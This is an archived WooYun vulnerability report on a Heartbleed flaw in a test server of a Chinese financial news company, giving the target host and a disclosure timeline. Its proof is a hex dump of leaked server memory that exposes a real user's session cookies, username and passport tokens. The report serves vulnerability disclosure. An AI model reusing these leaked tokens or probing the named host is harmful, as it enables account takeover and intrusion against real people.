当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125143

漏洞标题:福建中金在线网某站heartbleed

相关厂商:福建中金在线网络股份有限公司

漏洞作者: myhalo

提交时间:2015-07-07 15:16

修复时间:2015-08-21 15:26

公开时间:2015-08-21 15:26

漏洞类型:系统/服务补丁不及时

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-07: 细节已通知厂商并且等待厂商处理中
2015-07-07: 厂商已经确认,细节仅向厂商公开
2015-07-17: 细节向核心白帽子及相关领域专家公开
2015-07-27: 细节向普通白帽子公开
2015-08-06: 细节向实习白帽子公开
2015-08-21: 细节向公众公开

简要描述:

duang~~~貌似不提上打包提交吗?昨天那个redis打包的没过~~~

详细说明:

120.24.58.96->http://testblog.3g.cnfol.com:8000

1.png


漏洞证明:

Received heartbeat response:
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 68 65 2D 43 ....#.......he-C
00e0: 6F 6E 74 72 6F 6C 3A 20 6D 61 78 2D 61 67 65 3D ontrol: max-age=
00f0: 30 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 0..Accept: */*..
0100: 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 User-Agent: Mozi
0110: 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 lla/5.0 (Windows
0120: 20 4E 54 20 36 2E 31 3B 20 57 4F 57 36 34 29 20 NT 6.1; WOW64)
0130: 41 70 70 6C 65 57 65 62 4B 69 74 2F 35 33 37 2E AppleWebKit/537.
0140: 33 36 20 28 4B 48 54 4D 4C 2C 20 6C 69 6B 65 20 36 (KHTML, like
0150: 47 65 63 6B 6F 29 20 43 68 72 6F 6D 65 2F 33 31 Gecko) Chrome/31
0160: 2E 30 2E 31 36 35 30 2E 36 33 20 53 61 66 61 72 .0.1650.63 Safar
0170: 69 2F 35 33 37 2E 33 36 20 53 45 20 32 2E 58 20 i/537.36 SE 2.X
0180: 4D 65 74 61 53 72 20 31 2E 30 0D 0A 52 65 66 65 MetaSr 1.0..Refe
0190: 72 65 72 3A 20 68 74 74 70 3A 2F 2F 76 69 70 2E rer: http://vip.
01a0: 67 2E 63 6E 66 6F 6C 2E 63 6F 6D 2F 67 72 6F 75 g.cnfol.com/grou
01b0: 70 2F 6C 69 76 65 2F 67 72 6F 75 70 49 44 2F 37 p/live/groupID/7
01c0: 34 39 33 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 493..Accept-Enco
01d0: 64 69 6E 67 3A 20 67 7A 69 70 2C 64 65 66 6C 61 ding: gzip,defla
01e0: 74 65 2C 73 64 63 68 0D 0A 41 63 63 65 70 74 2D te,sdch..Accept-
01f0: 4C 61 6E 67 75 61 67 65 3A 20 7A 68 2D 43 4E 2C Language: zh-CN,
0200: 7A 68 3B 71 3D 30 2E 38 0D 0A 43 6F 6F 6B 69 65 zh;q=0.8..Cookie
0210: 3A 20 53 55 56 3D 31 34 30 36 38 36 35 30 37 32 : SUV=1406865072
0220: 39 35 37 30 34 39 3B 20 5F 5F 75 74 6D 61 3D 31 957049; __utma=1
0230: 30 35 31 30 37 36 36 35 2E 32 31 31 32 38 38 36 05107665.2112886
0240: 32 37 32 2E 31 34 31 34 34 36 33 37 39 33 2E 31 272.1414463793.1
0250: 34 31 36 33 37 38 37 36 31 2E 31 34 31 36 38 39 416378761.141689
0260: 34 32 32 31 2E 36 3B 20 49 50 4C 4F 43 3D 43 4E 4221.6; IPLOC=CN
0270: 33 35 30 31 3B 20 70 67 76 5F 70 76 69 3D 38 34 3501; pgv_pvi=84
0280: 38 31 32 38 32 30 34 38 3B 20 46 6C 6F 77 65 72 81282048; Flower
0290: 52 65 77 61 72 64 53 74 61 74 75 73 3D 43 68 61 RewardStatus=Cha
02a0: 74 41 41 3B 20 63 6F 6F 6B 69 65 5B 70 61 73 73 tAA; cookie[pass
02b0: 70 6F 72 74 5D 5B 6B 65 79 74 74 79 5D 3D 31 32 port][keytty]=12
02c0: 43 35 46 32 43 43 32 33 37 42 33 39 43 30 3B 20 C5F2CC237B39C0;
02d0: 63 6F 6F 6B 69 65 5B 70 61 73 73 70 6F 72 74 5D cookie[passport]
02e0: 5B 75 73 65 72 49 64 5D 3D 35 36 32 31 35 36 30 [userId]=5621560
02f0: 3B 20 63 6F 6F 6B 69 65 5B 70 61 73 73 70 6F 72 ; cookie[passpor
0300: 74 5D 5B 75 73 65 72 6E 61 6D 65 5D 3D 79 6F 73 t][username]=yos
0310: 68 69 6B 69 3B 20 63 6F 6F 6B 69 65 5B 70 61 73 hiki; cookie[pas
0320: 73 70 6F 72 74 5D 5B 6E 69 63 6B 6E 61 6D 65 5D sport][nickname]
0330: 3D 25 45 36 25 39 45 25 39 37 25 45 34 25 42 44 =%E6%9E%97%E4%BD
0340: 25 42 33 25 45 36 25 41 30 25 39 31 31 31 31 3B %B3%E6%A0%91111;
0350: 20 63 6F 6F 6B 69 65 5B 70 61 73 73 70 6F 72 74 cookie[passport
0360: 5D 5B 6D 6F 6E 65 79 5D 3D 32 36 30 38 3B 20 63 ][money]=2608; c
0370: 6F 6F 6B 69 65 5B 70 61 73 73 70 6F 72 74 5D 5B ookie[passport][
0380: 6B 65 79 73 5D 3D 30 42 43 32 30 30 44 46 32 36 keys]=0BC200DF26
0390: 43 37 33 42 46 33 43 44 36 38 41 39 33 46 39 33 C73BF3CD68A93F93
03a0: 36 39 39 44 36 43 3B 20 63 6F 6F 6B 69 65 5B 70 699D6C; cookie[p
03b0: 61 73 73 70 6F 72 74 5D 5B 6C 6F 67 74 69 6D 65 assport][logtime
03c0: 5D 3D 31 34 33 36 32 34 36 38 33 37 3B 20 63 6F ]=1436246837; co
03d0: 6F 6B 69 65 5B 70 61 73 73 70 6F 72 74 5D 5B 6B okie[passport][k
03e0: 65 79 73 74 72 5D 3D 37 31 46 35 46 43 45 37 34 eystr]=71F5FCE74
03f0: 32 41 31 37 38 46 30 38 46 33 30 39 30 32 45 46 2A178F08F30902EF
0400: 38 42 42 31 44 35 30 3B 20 63 6F 6F 6B 69 65 5B 8BB1D50; cookie[
0410: 70 61 73 73 70 6F 72 74 5D 5B 63 61 63 68 65 5D passport][cache]
0420: 3D 32 44 35 46 31 46 46 36 34 33 39 39 46 45 46 =2D5F1FF64399FEF
0430: 45 33 42 32 43 43 31 30 42 46 32 41 34 42 45 39 E3B2CC10BF2A4BE9
0440: 36 3B 20 63 6F 6F 6B 69 65 5B 70 61 73 73 70 6F 6; cookie[passpo
0450: 72 74 5D 5B 61 75 74 6F 5D 3D 30 3B 20 63 6F 6F rt][auto]=0; coo
0460: 6B 69 65 5B 70 61 73 73 70 6F 72 74 5D 5B 61 67 kie[passport][ag
0470: 65 6E 74 69 64 73 5D 3D 32 31 30 61 32 66 39 65 entids]=210a2f9e
0480: 30 31 38 65 36 64 66 30 38 38 38 30 34 61 37 64 018e6df088804a7d
0490: 39 33 63 35 63 34 34 66 3B 20 63 6F 6F 6B 69 65 93c5c44f; cookie
04a0: 5B 70 61 73 73 70 6F 72 74 5D 5B 6E 65 77 6B 65 [passport][newke
04b0: 79 73 5D 3D 35 32 36 46 43 45 33 43 32 43 41 37 ys]=526FCE3C2CA7
04c0: 30 45 42 35 39 43 44 42 41 46 36 43 38 38 39 38 0EB59CDBAF6C8898
04d0: 39 43 41 45 3B 20 63 6F 6F 6B 69 65 5B 70 61 73 9CAE; cookie[pas
04e0: 73 70 6F 72 74 5D 5B 74 6D 70 75 73 65 72 5D 3D sport][tmpuser]=
04f0: 79 6F 73 68 69 6B 69 3B 20 63 6F 6F 6B 69 65 5B yoshiki; cookie[
0500: 70 61 73 73 70 6F 72 74 5D 5B 76 6B 6B 65 79 5D passport][vkkey]
0510: 3D 31 35 64 32 51 54 67 36 6D 71 31 70 6B 35 45 =15d2QTg6mq1pk5E
0520: 6A 45 79 54 62 72 35 6F 55 4E 61 61 77 77 32 45 jEyTbr5oUNaaww2E
0530: 57 6C 64 38 4E 39 47 4F 49 5A 56 58 37 51 54 32 Wld8N9GOIZVX7QT2
0540: 35 5A 54 6C 71 69 4F 73 64 79 6D 52 76 46 7A 64 5ZTlqiOsdymRvFzd
0550: 6A 4A 5A 58 73 37 66 49 77 45 5A 38 49 44 41 5A jJZXs7fIwEZ8IDAZ
0560: 4C 54 67 3B 20 5F 5F 61 75 63 3D 66 30 66 33 30 LTg; __auc=f0f30
0570: 66 31 65 31 34 37 61 39 32 35 34 32 39 32 31 61 f1e147a92542921a
0580: 30 37 66 62 62 62 3B 20 5F 35 74 5F 74 72 61 63 07fbbb; _5t_trac
0590: 65 5F 73 69 64 3D 37 62 35 64 31 33 37 63 36 33 e_sid=7b5d137c63
05a0: 35 31 30 64 36 31 30 62 34 38 63 62 64 65 62 37 510d610b48cbdeb7
05b0: 36 30 32 65 39 36 3B 20 5F 35 74 5F 74 72 61 63 602e96; _5t_trac
05c0: 65 5F 74 6D 73 3D 31 3B 20 48 6D 5F 6C 76 74 5F e_tms=1; Hm_lvt_
05d0: 63 33 37 38 63 34 38 35 34 65 63 33 37 30 63 31 c378c4854ec370c1
05e0: 63 38 34 33 38 66 37 32 65 31 39 62 37 31 37 30 c8438f72e19b7170
05f0: 3D 31 34 33 35 39 31 35 38 30 31 2C 31 34 33 36 =1435915801,1436
0600: 31 35 33 38 34 39 2C 31 34 33 36 31 35 33 38 38 153849,143615388
0610: 33 2C 31 34 33 36 32 34 36 39 37 33 3B 20 48 6D 3,1436246973; Hm
0620: 5F 6C 70 76 74 5F 63 33 37 38 63 34 38 35 34 65 _lpvt_c378c4854e
0630: 63 33 37 30 63 31 63 38 34 33 38 66 37 32 65 31 c370c1c8438f72e1
0640: 39 62 37 31 37 30 3D 31 34 33 36 32 35 30 30 35 9b7170=143625005
0650: 31 0D 0A 0D 0A 4F 11 85 4A BC 55 C9 68 F0 0C 41 1....O..J.U.h..A
0660: 00 94 5D C1 3D 37 30 39 65 30 64 37 61 66 31 37 ..].=709e0d7af17
0670: 39 33 64 39 3B 20 5F 5F 61 75 63 3D 64 63 63 61 93d9; __auc=dcca
0680: 32 34 64 61 31 34 65 32 64 64 38 66 34 39 34 61 24da14e2dd8f494a
0690: 65 36 61 66 37 61 66 0D 0A 0D 0A 40 BF E0 5B DC e6af7af....@..[.
06a0: F4 50 33 05 11 3E 17 14 0A 86 B8 5F 63 33 37 38 .P3..>....._c378
06b0: 63 34 38 35 34 65 63 33 37 30 63 31 63 38 34 33 c4854ec370c1c843
06c0: 38 66 37 32 65 31 39 62 37 31 37 30 3D 31 34 33 8f72e19b7170=143
06d0: 36 32 34 37 37 38 33 0D 0A 0D 0A F7 D9 22 6D C2 6247783......"m.
06e0: E3 5F 4B FB 34 16 98 76 F1 57 CB 41 32 32 34 25 ._K.4..v.W.A224%
06f0: 33 42 69 25 33 41 32 32 35 25 33 42 69 25 33 41 3Bi%3A225%3Bi%3A
0700: 32 32 35 25 33 42 69 25 33 41 32 32 36 25 33 42 225%3Bi%3A226%3B
0710: 69 25 33 41 32 32 36 25 33 42 69 25 33 41 32 32 i%3A226%3Bi%3A22
0720: 37 25 33 42 69 25 33 41 32 32 37 25 33 42 69 25 7%3Bi%3A227%3Bi%
0730: 33 41 32 32 38 25 33 42 69 25 33 41 32 32 38 25 3A228%3Bi%3A228%
0740: 33 42 25 37 44 25 37 44 69 25 33 41 31 34 34 25 3B%7D%7Di%3A144%
0750: 33 42 61 25 33 41 31 25 33 41 25 37 42 73 25 33 3Ba%3A1%3A%7Bs%3
0760: 41 33 25 33 41 25 32 32 6D 69 64 25 32 32 25 33 A3%3A%22mid%22%3
0770: 42 69 25 33 41 31 34 34 25 33 42 25 37 44 69 25 Bi%3A144%3B%7Di%
0780: 33 41 31 34 35 25 33 42 61 25 33 41 31 25 33 41 3A145%3Ba%3A1%3A
0790: 25 37 42 73 25 33 41 33 25 33 41 25 32 32 6D 69 %7Bs%3A3%3A%22mi
07a0: 64 25 32 32 25 33 42 69 25 33 41 31 34 35 25 33 d%22%3Bi%3A145%3
07b0: 42 25 37 44 69 25 33 41 31 34 36 25 33 42 61 25 B%7Di%3A146%3Ba%
07c0: 33 41 31 25 33 41 25 37 42 73 25 33 41 33 25 33 3A1%3A%7Bs%3A3%3
07d0: 41 25 32 32 6D 69 64 25 32 32 25 33 42 69 25 33 A%22mid%22%3Bi%3
07e0: 41 31 34 36 25 33 42 25 37 44 69 25 33 41 31 34 A146%3B%7Di%3A14
07f0: 37 25 33 42 61 25 33 41 31 25 33 41 25 37 42 73 7%3Ba%3A1%3A%7Bs
0800: 25 33 41 33 25 33 41 25 32 32 6D 69 64 25 32 32 %3A3%3A%22mid%22
0810: 25 33 42 69 25 33 41 31 34 37 25 33 42 25 37 44 %3Bi%3A147%3B%7D
0820: 69 25 33 41 31 34 38 25 33 42 61 25 33 41 31 25 i%3A148%3Ba%3A1%
0830: 33 41 25 37 42 73 25 33 41 33 25 33 41 25 32 32 3A%7Bs%3A3%3A%22
0840: 6D 69 64 25 32 32 25 33 42 69 25 33 41 31 34 38 mid%22%3Bi%3A148
0850: 25 33 42 25 37 44 69 25 33 41 31 34 39 25 33 42 %3B%7Di%3A149%3B
0860: 61 25 33 41 31 25 33 41 25 37 42 73 25 33 41 33 a%3A1%3A%7Bs%3A3
0870: 25 33 41 25 32 32 6D 69 64 25 32 32 25 33 42 69 %3A%22mid%22%3Bi
0880: 25 33 41 31 34 39 25 33 42 25 37 44 69 25 33 41 %3A149%3B%7Di%3A
0890: 31 35 30 25 33 42 61 25 33 41 32 25 33 41 25 37 150%3Ba%3A2%3A%7
08a0: 42 73 25 33 41 33 25 33 41 25 32 32 6D 69 64 25 Bs%3A3%3A%22mid%
08b0: 32 32 25 33 42 69 25 33 41 31 35 30 25 33 42 73 22%3Bi%3A150%3Bs
08c0: 25 33 41 37 25 33 41 25 32 32 66 75 6E 6C 69 73 %3A7%3A%22funlis
08d0: 74 25 32 32 25 33 42 61 25 33 41 34 25 33 41 25 t%22%3Ba%3A4%3A%
08e0: 37 42 69 25 33 41 32 32 39 25 33 42 69 25 33 41 7Bi%3A229%3Bi%3A
08f0: 32 32 39 25 33 42 69 25 33 41 32 33 30 25 33 42 229%3Bi%3A230%3B
0900: 69 25 33 41 32 33 30 25 33 42 69 25 33 41 32 33 i%3A230%3Bi%3A23
0910: 31 25 33 42 69 25 33 41 32 33 31 25 33 42 69 25 1%3Bi%3A231%3Bi%
0920: 33 41 32 33 32 25 33 42 69 25 33 41 32 33 32 25 3A232%3Bi%3A232%
0930: 33 42 25 37 44 25 37 44 69 25 33 41 31 35 31 25 3B%7D%7Di%3A151%
0940: 33 42 61 25 33 41 31 25 33 41 25 37 42 73 25 33 3Ba%3A1%3A%7Bs%3
0950: 41 33 25 33 41 25 32 32 6D 69 64 25 32 32 25 33 A3%3A%22mid%22%3
0960: 42 69 25 33 41 31 35 31 25 33 42 25 37 44 69 25 Bi%3A151%3B%7Di%
0970: 33 41 31 35 32 25 33 42 61 25 33 41 31 25 33 41 3A152%3Ba%3A1%3A
0980: 25 37 42 73 25 33 41 33 25 33 41 25 32 32 6D 69 %7Bs%3A3%3A%22mi
0990: 64 25 32 32 25 33 42 69 25 33 41 31 35 32 25 33 d%22%3Bi%3A152%3
09a0: 42 25 37 44 69 25 33 41 31 35 33 25 33 42 61 25 B%7Di%3A153%3Ba%
09b0: 33 41 31 25 33 41 25 37 42 73 25 33 41 33 25 33 3A1%3A%7Bs%3A3%3
09c0: 41 25 32 32 6D 69 64 25 32 32 25 33 42 69 25 33 A%22mid%22%3Bi%3
09d0: 41 31 35 33 25 33 42 25 37 44 69 25 33 41 31 35 A153%3B%7Di%3A15
09e0: 34 25 33 42 61 25 33 41 31 25 33 41 25 37 42 73 4%3Ba%3A1%3A%7Bs
09f0: 25 33 41 33 25 33 41 25 32 32 6D 69 64 25 32 32 %3A3%3A%22mid%22
0a00: 25 33 42 69 25 33 41 31 35 34 25 33 42 25 37 44 %3Bi%3A154%3B%7D
0a10: 69 25 33 41 31 35 35 25 33 42 61 25 33 41 31 25 i%3A155%3Ba%3A1%
0a20: 33 41 25 37 42 73 25 33 41 33 25 33 41 25 32 32 3A%7Bs%3A3%3A%22
0a30: 6D 69 64 25 32 32 25 33 42 69 25 33 41 31 35 35 mid%22%3Bi%3A155
0a40: 25 33 42 25 37 44 69 25 33 41 31 35 36 25 33 42 %3B%7Di%3A156%3B
0a50: 61 25 33 41 31 25 33 41 25 37 42 73 25 33 41 33 a%3A1%3A%7Bs%3A3
0a60: 25 33 41 25 32 32 6D 69 64 25 32 32 25 33 42 69 %3A%22mid%22%3Bi
0a70: 25 33 41 31 35 36 25 33 42 25 37 44 69 25 33 41 %3A156%3B%7Di%3A
0a80: 31 35 37 25 33 42 61 25 33 41 31 25 33 41 25 37 157%3Ba%3A1%3A%7
0a90: 42 73 25 33 41 33 25 33 41 25 32 32 6D 69 64 25 Bs%3A3%3A%22mid%
0aa0: 32 32 25 33 42 69 25 33 41 31 35 37 25 33 42 25 22%3Bi%3A157%3B%
0ab0: 37 44 69 25 33 41 31 35 38 25 33 42 61 25 33 41 7Di%3A158%3Ba%3A
0ac0: 31 25 33 41 25 37 42 73 25 33 41 33 25 33 41 25 1%3A%7Bs%3A3%3A%
0ad0: 32 32 6D 69 64 25 32 32 25 33 42 69 25 33 41 31 22mid%22%3Bi%3A1
0ae0: 35 38 25 33 42 25 37 44 69 25 33 41 31 35 39 25 58%3B%7Di%3A159%
0af0: 33 42 61 25 33 41 31 25 33 41 25 37 42 73 25 33 3Ba%3A1%3A%7Bs%3
0b00: 41 33 25 33 41 25 32 32 6D 69 64 25 32 32 25 33 A3%3A%22mid%22%3
0b10: 42 69 25 33 41 31 35 39 25 33 42 25 37 44 69 25 Bi%3A159%3B%7Di%
0b20: 33 41 31 36 30 25 33 42 61 25 33 41 32 25 33 41 3A160%3Ba%3A2%3A
0b30: 25 37 42 73 25 33 41 33 25 33 41 25 32 32 6D 69 %7Bs%3A3%3A%22mi
0b40: 64 25 32 32 25 33 42 69 25 33 41 31 36 30 25 33 d%22%3Bi%3A160%3
0b50: 42 73 25 33 41 37 25 33 41 25 32 32 66 75 6E 6C Bs%3A7%3A%22funl
0b60: 69 73 74 25 32 32 25 33 42 61 25 33 41 34 25 33 ist%22%3Ba%3A4%3
0b70: 41 25 37 42 69 25 33 41 32 33 33 25 33 42 69 25 A%7Bi%3A233%3Bi%
0b80: 33 41 32 33 33 25 33 42 69 25 33 41 32 33 34 25 3A233%3Bi%3A234%
0b90: 33 42 69 25 33 41 32 33 34 25 33 42 69 25 33 41 3Bi%3A234%3Bi%3A
0ba0: 32 33 35 25 33 42 69 25 33 41 32 33 35 25 33 42 235%3Bi%3A235%3B
0bb0: 69 25 33 41 32 34 35 25 33 42 69 25 33 41 32 34 i%3A245%3Bi%3A24
0bc0: 35 25 33 42 25 37 44 25 37 44 69 25 33 41 31 36 5%3B%7D%7Di%3A16
0bd0: 31 25 33 42 61 25 33 41 31 25 33 41 25 37 42 73 1%3Ba%3A1%3A%7Bs
0be0: 25 33 41 33 25 33 41 25 32 32 6D 69 64 25 32 32 %3A3%3A%22mid%22
0bf0: 25 33 42 69 25 33 41 31 36 31 25 33 42 25 37 44 %3Bi%3A161%3B%7D
0c00: 69 25 33 41 31 36 32 25 33 42 61 25 33 41 31 25 i%3A162%3Ba%3A1%
0c10: 33 41 25 37 42 73 25 33 41 33 25 33 41 25 32 32 3A%7Bs%3A3%3A%22
0c20: 6D 69 64 25 32 32 25 33 42 69 25 33 41 31 36 32 mid%22%3Bi%3A162
0c30: 25 33 42 25 37 44 69 25 33 41 31 36 33 25 33 42 %3B%7Di%3A163%3B
0c40: 61 25 33 41 31 25 33 41 25 37 42 73 25 33 41 33 a%3A1%3A%7Bs%3A3
0c50: 25 33 41 25 32 32 6D 69 64 25 32 32 25 33 42 69 %3A%22mid%22%3Bi
0c60: 25 33 41 31 36 33 25 33 42 25 37 44 69 25 33 41 %3A163%3B%7Di%3A
0c70: 31 36 34 25 33 42 61 25 33 41 31 25 33 41 25 37 164%3Ba%3A1%3A%7
0c80: 42 73 25 33 41 33 25 33 41 25 32 32 6D 69 64 25 Bs%3A3%3A%22mid%
0c90: 32 32 25 33 42 69 25 33 41 31 36 34 25 33 42 25 22%3Bi%3A164%3B%
0ca0: 37 44 69 25 33 41 31 36 35 25 33 42 61 25 33 41 7Di%3A165%3Ba%3A
0cb0: 31 25 33 41 25 37 42 73 25 33 41 33 25 33 41 25 1%3A%7Bs%3A3%3A%
0cc0: 32 32 6D 69 64 25 32 32 25 33 42 69 25 33 41 31 22mid%22%3Bi%3A1
0cd0: 36 35 25 33 42 25 37 44 69 25 33 41 31 36 36 25 65%3B%7Di%3A166%
0ce0: 33 42 61 25 33 41 31 25 33 41 25 37 42 73 25 33 3Ba%3A1%3A%7Bs%3
0cf0: 41 33 25 33 41 25 32 32 6D 69 64 25 32 32 25 33 A3%3A%22mid%22%3
0d00: 42 69 25 33 41 31 36 36 25 33 42 25 37 44 69 25 Bi%3A166%3B%7Di%
0d10: 33 41 31 36 37 25 33 42 61 25 33 41 32 25 33 41 3A167%3Ba%3A2%3A
0d20: 25 37 42 73 25 33 41 33 25 33 41 25 32 32 6D 69 %7Bs%3A3%3A%22mi
0d30: 64 25 32 32 25 33 42 69 25 33 41 31 36 37 25 33 d%22%3Bi%3A167%3
0d40: 42 73 25 33 41 37 25 33 41 25 32 32 66 75 6E 6C Bs%3A7%3A%22funl
0d50: 69 73 74 25 32 32 25 33 42 61 25 33 41 32 25 33 ist%22%3Ba%3A2%3
0d60: 41 25 37 42 69 25 33 41 32 33 36 25 33 42 69 25 A%7Bi%3A236%3Bi%
0d70: 33 41 32 33 36 25 33 42 69 25 33 41 32 33 37 25 3A236%3Bi%3A237%
0d80: 33 42 69 25 33 41 32 33 37 25 33 42 25 37 44 25 3Bi%3A237%3B%7D%
0d90: 37 44 69 25 33 41 31 36 38 25 33 42 61 25 33 41 7Di%3A168%3Ba%3A
0da0: 32 25 33 41 25 37 42 73 25 33 41 33 25 33 41 25 2%3A%7Bs%3A3%3A%
0db0: 32 32 6D 69 64 25 32 32 25 33 42 69 25 33 41 31 22mid%22%3Bi%3A1
0dc0: 36 38 25 33 42 73 25 33 41 37 25 33 41 25 32 32 68%3Bs%3A7%3A%22
0dd0: 66 75 6E 6C 69 73 74 25 32 32 25 33 42 61 25 33 funlist%22%3Ba%3
0de0: 41 32 25 33 41 25 37 42 69 25 33 41 32 33 38 25 A2%3A%7Bi%3A238%
0df0: 33 42 69 25 33 41 32 33 38 25 33 42 69 25 33 41 3Bi%3A238%3Bi%3A
0e00: 32 33 39 25 33 42 69 25 33 41 32 33 39 25 33 42 239%3Bi%3A239%3B
0e10: 25 37 44 25 37 44 69 25 33 41 31 36 39 25 33 42 %7D%7Di%3A169%3B
0e20: 61 25 33 41 31 25 33 41 25 37 42 73 25 33 41 33 a%3A1%3A%7Bs%3A3
0e30: 25 33 41 25 32 32 6D 69 64 25 32 32 25 33 42 69 %3A%22mid%22%3Bi
0e40: 25 33 41 31 36 39 25 33 42 25 37 44 69 25 33 41 %3A169%3B%7Di%3A
0e50: 31 37 30 25 33 42 61 25 33 41 32 25 33 41 25 37 170%3Ba%3A2%3A%7
0e60: 42 73 25 33 41 33 25 33 41 25 32 32 6D 69 64 25 Bs%3A3%3A%22mid%
0e70: 32 32 25 33 42 69 25 33 41 31 37 30 25 33 42 73 22%3Bi%3A170%3Bs
0e80: 25 33 41 37 25 33 41 25 32 32 66 75 6E 6C 69 73 %3A7%3A%22funlis
0e90: 74 25 32 32 25 33 42 61 25 33 41 32 25 33 41 25 t%22%3Ba%3A2%3A%
0ea0: 37 42 69 25 33 41 32 34 33 25 33 42 69 25 33 41 7Bi%3A243%3Bi%3A
0eb0: 32 34 33 25 33 42 69 25 33 41 32 34 34 25 33 42 243%3Bi%3A244%3B
0ec0: 69 25 33 41 32 34 34 25 33 42 25 37 44 25 37 44 i%3A244%3B%7D%7D
0ed0: 69 25 33 41 31 37 31 25 33 42 61 25 33 41 32 25 i%3A171%3Ba%3A2%
0ee0: 33 41 25 37 42 73 25 33 41 33 25 33 41 25 32 32 3A%7Bs%3A3%3A%22
0ef0: 6D 69 64 25 32 32 25 33 42 69 25 33 41 31 37 31 mid%22%3Bi%3A171
0f00: 25 33 42 73 25 33 41 37 25 33 41 25 32 32 66 75 %3Bs%3A7%3A%22fu
0f10: 6E 6C 69 73 74 25 32 32 25 33 42 61 25 33 41 33 nlist%22%3Ba%3A3
0f20: 25 33 41 25 37 42 69 25 33 41 32 34 30 25 33 42 %3A%7Bi%3A240%3B
0f30: 69 25 33 41 32 34 30 25 33 42 69 25 33 41 32 34 i%3A240%3Bi%3A24
0f40: 31 25 33 42 69 25 33 41 32 34 31 25 33 42 69 25 1%3Bi%3A241%3Bi%
0f50: 33 41 32 34 32 25 33 42 69 25 33 41 32 34 32 25 3A242%3Bi%3A242%
0f60: 33 42 25 37 44 25 37 44 69 25 33 41 31 37 32 25 3B%7D%7Di%3A172%
0f70: 33 42 61 25 33 41 31 25 33 41 25 37 42 73 25 33 3Ba%3A1%3A%7Bs%3
0f80: 41 33 25 33 41 25 32 32 6D 69 64 25 32 32 25 33 A3%3A%22mid%22%3
0f90: 42 69 25 33 41 31 37 32 25 33 42 25 37 44 69 25 Bi%3A172%3B%7Di%
0fa0: 33 41 31 37 33 25 33 42 61 25 33 41 31 25 33 41 3A173%3Ba%3A1%3A
0fb0: 25 37 42 73 25 33 41 33 25 33 41 25 32 32 6D 69 %7Bs%3A3%3A%22mi
0fc0: 64 25 32 32 25 33 42 69 25 33 41 31 37 33 25 33 d%22%3Bi%3A173%3
0fd0: 42 25 37 44 69 25 33 41 31 37 34 25 33 42 61 25 B%7Di%3A174%3Ba%
0fe0: 33 41 31 25 33 41 25 37 42 73 25 33 41 33 25 33 3A1%3A%7Bs%3A3%3
0ff0: 41 25 32 32 6D 69 64 25 32 32 25 33 42 69 25 33 A%22mid%22%3Bi%3
1000: 41 31 37 34 25 33 42 25 37 44 25 37 44 25 37 44 A174%3B%7D%7D%7D
1010: 25 37 44 3B 20 55 73 72 5F 49 44 3D 31 30 32 31 %7D; Usr_ID=1021
